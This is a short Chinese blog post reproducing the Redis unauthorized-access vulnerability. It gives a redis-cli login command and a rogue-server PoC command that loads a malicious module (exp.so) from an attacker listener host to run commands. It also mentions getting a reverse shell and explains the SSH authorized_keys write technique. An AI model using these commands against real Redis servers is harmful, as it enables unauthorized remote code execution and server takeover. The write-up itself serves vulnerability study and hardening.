zoukankan      html  css  js  c++  java
  • redis未授权

    Redis服务简介

    Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。

    Redis 是完全开源的,遵守 BSD 协议,是一个高性能的 key-value 数据库。

    Redis 与其他 key - value 缓存产品有以下三个特点:

    • Redis支持数据的持久化,可以将内存中的数据保存在磁盘中,重启的时候可以再次加载进行使用。
    • Redis不仅仅支持简单的key-value类型的数据,同时还提供list,set,zset,hash等数据结构的存储。
    • Redis支持数据的备份,即master-slave模式的数据备份。

    redis默认开放端口是6379

    漏洞复现

    可直接登录redis服务器

    redis-cli -h 192.168.186.1

    可直接利用poc对未授权的redis进行rce

    python3 redis-master.py  -r 192.168.186.1 -p 6379 -L 192.168.186.2 -P 8888 -f RedisModulesSDK/exp.so -c "id"

    也可以直接用exp来getshell

    反弹shell建立链接

     

    漏洞成因

    1)redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网;
    2)没有设置密码认证(一般为空),可以免密码远程登录redis服务。 

    Redis默认情况下,会绑定在0.0.0.0:6379,如果么有进行采用相关策略,比如添加防火墙规则避免其他非信任来源ip访问等,这样将会把redis服务暴露到公网上如果没有设置密码认证(一般为空)的情况下
    会导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权的放问Redis的情况下,利用Redis自身提供的config命令,可以进行写文件操作,攻击者可以成功将自己的ssh
    公钥写入目标服务器的/root/.ssh文件夹的authotrized_keys文件中,进而可以使用对用私钥直接使用ssh服务登录目标服务器。

     参考文章

     https://www.cnblogs.com/bmjoker/p/9548962.html

  • 相关阅读:
    laravel Eloquent 模型(也就是我本时说的Model)
    laravel 查询构建器(连贯操作)
    laravel 模版引擎使用
    laravel 数据库操作(表、字段)
    url重写(urlrewrite)的一些系统变量
    apache 图片防盗链
    在线制作api文档
    php 网络爬虫,爬一下花瓣的图片
    laravel 使用 session
    laravel 控制器构造方法注入request对象
  • 原文地址:https://www.cnblogs.com/f1veseven/p/15528279.html
Copyright © 2011-2022 走看看